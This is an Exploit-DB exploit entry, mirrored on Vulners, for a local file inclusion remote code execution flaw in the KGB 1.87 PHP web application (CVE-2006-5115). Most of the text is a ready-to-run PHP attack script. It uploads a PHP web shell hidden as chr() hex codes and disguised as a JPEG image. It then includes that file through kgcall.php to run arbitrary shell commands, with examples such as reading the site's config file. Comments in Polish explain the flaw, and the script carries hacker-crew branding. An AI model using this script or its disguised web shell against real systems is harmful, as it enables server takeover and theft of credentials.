Search...

KGB 1.87 Local Inclusion Remote Code Execution Exploit

2006-09-28T00:00:00
ID EDB-ID:2447
Type exploitdb
Reporter Kacper
Modified 2006-09-28T00:00:00

Description

KGB 1.87 (Local Inclusion) Remote Code Execution Exploit. CVE-2006-5115. Webapps exploit for php platform

                                        
                                            #!/usr/bin/php -q -d short_open_tag=on

<?
$devilteam = "

:::::::::  :::::::::: :::     ::: ::::::::::: :::        
:+:    :+: :+:        :+:     :+:     :+:     :+:        
+:+    +:+ +:+        +:+     +:+     +:+     +:+        
+#+    +:+ +#++:++#   +#+     +:+     +#+     +#+        
+#+    +#+ +#+         +#+   +#+      +#+     +#+        
#+#    #+# #+#          #+#+#+#       #+#     #+#        
#########  ##########     ###     ########### ########## 
::::::::::: ::::::::::     :::     ::::    ::::  
    :+:     :+:          :+: :+:   +:+:+: :+:+:+ 
    +:+     +:+         +:+   +:+  +:+ +:+:+ +:+ 
    +#+     +#++:++#   +#++:++#++: +#+  +:+  +#+ 
    +#+     +#+        +#+     +#+ +#+       +#+ 
    #+#     #+#        #+#     #+# #+#       #+# 
    ###     ########## ###     ### ###       ### 
	
	
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- KGB 1.8+ <= 1.8 full (Local Inclusion) Remote Code Execution Exploit
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: KGB 1.8+ 1.8 full
- [Script site: http://www.kgb.xs.com.pl/
- [Download script: http://skrypty.webpc.pl/pobierz205.html

+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-    DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Leon, Adam, DeathSpeed, Drzewko, pepi, mivus
-                 SkD, nukedclx, Ramzes
-
- Greetz for all users DEVIL TEAM IRC Channel !!
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~";


/*
Szybka instrukcja jak exploit dziala :)

skrypt KGB 1.8+ jest podatny na local inclusion, poniewaz, 
znajdujemy w pliku uploadzdj.php dzieki ktoremu mozemy uploadowac jakis obrazek, o wielkosci nie wiekszej niz 90kb,

natomiast w pliku kgcall.php znajdziemy kod:
...
<?
include("kgengine/".$engine);
?>
...


Czyli po uploadowaniu nowego avatara/obrazka (ktorym jest nasz skrypt) o nazwie devilteam.jpg

mozemy uzyc local include:

http://www.kgbskrypt/folder_z_kgb/kgcall.php?engine=../zdjecia/devilteam.jpg?cmd=ls -la
No i mamy go! :)

Pozdrawiam Kacper

Jesli masz jakiekolwiek pytania to zapraszam na kanal IRC: 72.20.18.6:6667 #devilteam

*/



print $devilteam;
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd options\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to KGB\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /lists/ cat ./config/config.php\r\n";
echo "php ".$argv[0]." localhost /lists/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


$shell=
chr(0x3c).chr(0x3f).chr(0x70).chr(0x68).chr(0x70).
chr(0x20).chr(0x6f).chr(0x62).chr(0x5f).chr(0x63).
chr(0x6c).chr(0x65).chr(0x61).chr(0x6e).chr(0x28).
chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).
chr(0x6f).chr(0x22).chr(0x44).chr(0x45).chr(0x56).
chr(0x49).chr(0x4c).chr(0x20).chr(0x54).chr(0x45).
chr(0x41).chr(0x4d).chr(0x20).chr(0x68).chr(0x34).
chr(0x63).chr(0x6b).chr(0x20).chr(0x79).chr(0x30).
chr(0x75).chr(0x22).chr(0x3b).chr(0x69).chr(0x6e).
chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).
chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78).
chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).
chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).
chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).
chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).
chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x24).
chr(0x5f).chr(0x47).chr(0x45).chr(0x54).chr(0x5b).
chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).
chr(0x5d).chr(0x29).chr(0x3b).chr(0x64).chr(0x69).
chr(0x65).chr(0x3b).chr(0x3f).chr(0x3e);
srand(make_seed());
$evil="devilteam.jpg";
$data='
    -----------------------------ZGV2aWx0ZWFt--
    Content-Disposition: form-data; name="plik"; filename=".$evil."
	Content-Type: image/jpeg\r\n\r\n";
    '.$shell.'
    -----------------------------ZGV2aWx0ZWFt--
    Content-Disposition: form-data; name="";
    
    Wyslij zdjecie
    -----------------------------ZGV2aWx0ZWFt--
    ';
    $packet ="POST ".$p."kgcall.php?engine=uploadzdj.php HTTP/1.1\r\n";
    $packet.="User-Agent: Googlebot/2.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Accept: text/plain\r\n";
    $packet.="Referer: http://".$host.$path."kgcall.php?engine=uploadzdj.php\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=-----------------------------ZGV2aWx0ZWFt--\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.=$data;
	$packet.="Connection: Close\r\n";
    show($packet);
    sendpacketii($packet);
	
$packet ="GET ".$p."kgcall.php?engine=../zdjecia/devilteam.jpg&cmd=".$cmd."%00" HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"56789"))
{
 $temp=explode("56789",$html);
 echo $temp[1];
 echo "\r\nExploit work :)\r\n";
 echo "\r\nDEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
 echo "\r\nWe are The best Polish Hackers :)\r\n";
 die;
}
}
?>

# milw0rm.com [2006-09-28]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by